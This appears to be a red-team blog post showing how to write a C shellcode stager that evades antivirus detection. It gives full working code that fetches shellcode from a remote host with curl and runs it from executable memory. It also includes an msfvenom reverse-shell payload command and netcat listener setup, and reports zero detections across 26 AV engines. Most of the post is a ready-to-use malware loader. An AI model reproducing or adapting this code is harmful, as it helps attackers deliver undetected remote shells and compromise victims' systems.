Creating Fully Undetectable Payload (FUD) with C

Lsec
5 min readOct 26, 2022

--

Welcome back my red teamers! Today’s blog is exciting because I personally did not expect such high result at evading AV vendors!

Let’s start with a little bit of history about that journey, some theory and dive into action!

If you prefer watching a video instead of reading, you can find it here: https://youtu.be/Pu06zYUdpGs

Feel free to join my Discord, where we share ideas, knowledge and experience in penetration testing / red teaming: https://discord.gg/dWCe5ZMvtQ

History

With the previous blog / video (https://www.youtube.com/watch?v=lkZWaycrr9I) I created a simple shellcode runner using C. It was done by invoking windows APIs and it was surprisingly easy to implement this on C.

The problem was that many AV vendors caught the dropper.

This was mainly because:

  1. The shellcode was from msfvenom, obviously with known signature.
  2. The shellcode was stageless, so the full byte array was embedded into global variable.

This is not how we want to bypass AV vendors but was a nice demo to see how to run raw machine instructions (shellcode) using C.

Now it is time to upgrade!

Theory

The main goal now is to reduce the amount of triggered AV vendors by implementing staging.

Staging is simply dividing the execution flow into parts, mainly by downloading the instructions (shellcode) from remote location on runtime. This way signature-based detection is bypassed, since the dropper does not contain any malicious instructions.

The problem is that web requests are hard to implement with low level language like C. All the data and parsing process is tough, that’s why I decided to go for different approach.

The idea behind the stager is simply to run a native OS command (curl) to download the shellcode and parse it into a variable. Executing OS command in C is simple, it is enough to just call system() with the command as a parameter. So, the download cradle would be:

system(curl http://192.168.254.130/code.bin);

The libraries the code requires are the following:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

The only thing we need to discuss is how to parse system output to a variable. Luckily, I found this solution is stackoverflow: https://stackoverflow.com/questions/5919622/how-to-store-the-system-command-output-in-a-variable

Stating that, by running system command with popen, we can append it’s output to character array, JUST WHAT WE NEEDED!

The sample code from the answer is parsing “ls” command character by character:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
FILE *fpipe;
char *command = "ls";
char c = 0;
if (0 == (fpipe = (FILE*)popen(command, "r")))
{
perror("popen() failed.");
exit(EXIT_FAILURE);
}
while (fread(&c, sizeof c, 1, fpipe))
{
printf("%c", c);
}
pclose(fpipe);return EXIT_SUCCESS;
}

Now, let’s combine the pieces and make our stager.

Action

Let’s use the answer as a template but modify few things. The first thing that needs to be changed, is the command itself.

char *command = "curl http://192.168.254.130/code.bin";

Now, let’s generate a payload file in bynary format and call it “code.bin”. For this demo I was using STAGELESS payload from msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

Keep in mind that it is always better idea to stick with x64 bit shellcode and processes, since most AV vendor are better optimized for x86 architecture!

From the output we can observe that the payload size is exactly 460 bytes. That is important!

Now let’s create a variable to hold the shellcode data.

unsigned char code[460];

Then, let’s create a counter to loop through the array, we will need this for appending the shellcode char by char:

int counter = 0;

And now modify the while loop to append the read shellcode into the array:

while (fread(&c, sizeof c, 1, fpipe))
{
code[counter] = c;
printf("%c", code[counter]);
counter = counter + 1;
}

NICE! The next step is to simply invoke the shellcode as we used to do it into the previous blogpost: https://medium.com/@lsecqt/red-teaming-101-executing-malicious-shellcode-with-c-a-guide-for-beginners-439bff63721d

To summarise, the full code looks like the following:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main()
{
FILE *fpipe;
char *command = "curl http://192.168.254.130/code.bin";
char c = 0;
unsigned char code[460];
int counter = 0;
if (0 == (fpipe = (FILE*)popen(command, "r")))
{
perror("popen() failed.");
exit(EXIT_FAILURE);
}
while (fread(&c, sizeof c, 1, fpipe))
{
code[counter] = c;
printf("%c", code[counter]);
counter = counter + 1;
}
pclose(fpipe);

void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof code);
((void(*)())exec)();
return 0;
}

Time for some testing

The first test is of course to see if this code is actually working. So let’s setup the environment.

On the kali side we need to host the shellcode and setup a listener. This is done by:

python3 -m http.server 80

And:

nc -nvlp 443

Now let’s execute the payload from the development machine:

The shell prints the downloaded code, and hangs, which we know is a good sign meaning something is going on. And it is, we catched the shell!

So far so good, let’s test it against Windows 10 Defender. Let’s first make sure it is enabled:

It is, we were able to download the file without any kind of disruptions, and upon execution we can observer the same result:

Amazing!

Now let’s take it one step further and test for most known AV vendors on https://antiscan.me/

Here is where the things got interesting:

0 / 26 FLAGGED THE FILE FOR MALICIOUS!!!

Here is the place to say that I am not responsible for your actions with that code, so think before doing something!

Conclusion

Sometimes by implementing simple processes, you can achieve massive results. The point is to try and experiment as much as you can. You will never get the right answer from the first time.

Thank you for your time spent reading / watching. Hope you learned something new!

--

--